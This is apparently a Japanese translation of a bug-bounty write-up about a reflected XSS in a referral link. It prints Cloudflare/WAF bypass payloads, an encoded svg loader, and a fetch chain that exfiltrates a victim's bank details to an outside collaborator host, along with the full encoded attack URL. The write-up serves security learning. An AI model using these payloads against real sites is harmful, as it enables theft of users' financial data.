Exfiltrating Sensitive Information via Reflected XSS Bypassing Cloudflare から学ぶ

ソース:

medium.com

脆弱性XSS

 

訳:

かなりの期間にわたってプライベート プログラムを探していたときに、気になる紹介機能を見つけ。
この機能により、ユーザーの電子メールと紹介コードの両方を組み込んだ紹介リンクを生成できるようになりました。
これらのパラメータを URL 経由で渡すことに内在する潜在的脆弱性に興味をそそられた私は、XSS (クロスサイト スクリプティング) 攻撃の可能性を調査することに。

私の最初の試み、ペイロードの注入:

 

“><img src=1 onerror=alert()>

 

 

すぐに Cloudflare ブロックに遭遇し。
私はひるむことなく、Cloudflare バイパス技術を利用して代替ペイロードをデプロイ。 

 

“><img only src=1 onerror=alert()>

 

 

今度は成功。XSS エクスプロイトを示すポップアップがトリガーされます。

この進歩に勇気づけられて、私は機密データ、特に認証 Cookie を抜き出すことを試みて、脆弱性の影響を拡大しようとしました。
しかし、私の努力は Cookie の「httponly」スコープによって妨げられ、JavaScript からアクセスできなくなりました。

 

発見された脆弱性を報告すると、プログラム マネージャーは当然のことながら、その潜在的な影響を実証する概念実証 (POC) を要求し。
/my-account/bank-details から銀行詳細などの機密データを取得するために「eval」メソッドを採用する試みを含む徹底的な調査にもかかわらず、「eval」メソッドの実行をブロックする Web アプリケーション ファイアウォール (WAF) によって私の試みは妨げられ。

 

本質的に、私は XSS 脆弱性の特定と実証に成功しましたが、WAF によって課された制限により、その可能性を最大限に活用することが妨げられました。

その後、Web アプリケーション ファイアウォール (WAF) による制限を回避できるペイロードを見つけるために Twitter 経由で支援を求めました。
これにより、/my-account/bank-details エンドポイントから詳細を抽出して、協力者に応答を送信できるようになりました。
ありがたいことに、xnl-h4ck3r (https://x.com/xnl_h4ck3r?t=KOhaPurgLxxGX5rO2l9fGA&s=09) が快く専門知識を提供し、テスト用のペイロードを提供してくれ。

xnl-h4ck3r によって共有されるペイロードは次のとおりで。

 

<svg/ONxss='0'/ONload=location=window[`atob`]`amF2YXNjcmlwdDphbGVydCgxKQ==`;

 

ペイロード内のbase64値をデコードすると、javascript:alertに解決され。
成功の見通しに興奮してペイロードを実装したところ、予想通り、警告ポップアップが表示され。

 

 

このブレークスルーにより、新たな悪用の可能性が開かれ。
ペイロードJavaScript 関数を実行する機能を備えたので、 fetchペイロードを使用して XSS の悪用を調整する関数: 
 

javascript:fetch('https://example.com/my-account/bank-details').then(response => response.text()).then(data => fetch(`https://burp-collab) .com?data=${encodeURIComponent(data)}`));

 

ペイロード値を Base64エンコードし、最初に実装するという体系的なアプローチを採用し。
この方法は良い結果をもたらし、被害者ユーザーの銀行詳細を含むピンバックを共同制作者に受信し始め。
ただし、その後の試行では Cloudflare ブロックに遭遇したため、高揚感は長くは続かず。
私はペイロード全体のデコードと URL エンコードを試みました。
私の努力にも関わらず、問題は解決せず、根本原因を特定するためにデバッグを掘り下げるのに多大な時間とリソースを費やしました。 

 

広範な調査の結果、画期的な発見が見つかりました。ユーザーがペイロードを含む URL (例: https://example.com/v1/api/refferral?email=LARGE-URL-ENCODED-PAYLOAD ) に移動すると、フェッチ要求は正常に実行されましたが、Web アプリケーション ファイアウォール (WAF) によってブロックされました。
当初は CORS エラーと間違われましたが、ユーザーが URL に移動した際にペイロード自体がリファラー ヘッダー内に存在したため、WAF がリクエストを傍受していることが明らかになりました。 

 

 

この課題に対処するために、私は緩和戦略を考案しました。
ReferrerPolicy を「no-referrer」に設定した JavaScript フェッチ関数 (例: javascript:fetch("https://example.com/xxxxxxx ", {referrerPolicy: "no-referrer"})) を利用することで、正常にバイパスできました。 WAFの封鎖。

 

このソリューションを完全なペイロードに組み込むと、次のようになります。

もう一度完全なペイロードを作成してみましょう。

 

javascript:fetch('https://example.com/my-account/bank-details', {referrerPolicy: 'no-referrer'}).then(response => response.text()).then(data => fetch(`https://burp-collab.com?data=${encodeURIComponent(data)}`));

 

このペイロードbase64エンコードして電子メールパラメータに埋め込むことで、Cloudflare WAFを効果的に回避して銀行詳細を見事に漏洩するという望ましい結果を達成し。
したがって、このセキュリティ上の課題を克服する上で重要なマイルストーンとなります。 

 

<svg/ONxss='0'/ONload=location=window[`atob`]`amF2YXNjcmlwdDpmZXRjaCgnaHR0cHM6Ly9leGFtcGxlLmNvbS9teS1hY2NvdW50L2JhbmstZGV0YWlscycpLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG 9uc2UudGV4dCgpKS50aGVuKGRhd GEgPT4gZmV0Y2goYGh0dHBzOi8vYnVycC1jb2xsYWIuY29tP2RhdGE9JHtlbmNvZGVVUklDb21wb25lbnQoZGF0YSl9YCkpOw==`; 

 

https://example.com/v1/referrer?email=%3c%73%76%67%2f%4f%4e%78%73%73%3d%27%30%27%2f%4f%4e%6c%6f%61%64%3d%6c%6f%63%61%74%69%6f%6e%3d%77%69%6e%64%6f%77%5b%60%61%74%6f%62%60%5d%60%61%6d%46%32%59%58%4e%6a%63%6d%6c%77%64%44%70%6d%5a%58%52%6a%61%43%67%6e%61%48%52%30%63%48%4d%36%4c%79%39%6c%65%47%46%74%63%47%78%6c%4c%6d%4e%76%62%53%39%74%65%53%31%68%59%32%4e%76%64%57%35%30%4c%32%4a%68%62%6d%73%74%5a%47%56%30%59%57%6c%73%63%79%63%70%4c%6e%52%6f%5a%57%34%6f%63%6d%56%7a%63%47%39%75%63%32%55%67%50%54%34%67%63%6d%56%7a%63%47%39%75%63%32%55%75%64%47%56%34%64%43%67%70%4b%53%35%30%61%47%56%75%4b%47%52%68%64%47%45%67%50%54%34%67%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%59%6e%56%79%63%43%31%6a%62%32%78%73%59%57%49%75%59%32%39%74%50%32%52%68%64%47%45%39%4a%48%74%6c%62%6d%4e%76%5a%47%56%56%55%6b%6c%44%62%32%31%77%62%32%35%6c%62%6e%51%6f%5a%47%46%30%59%53%6c%39%59%43%6b%70%4f%77%3d%3d%60%3b&referral-code=xxx

 


ほなほな。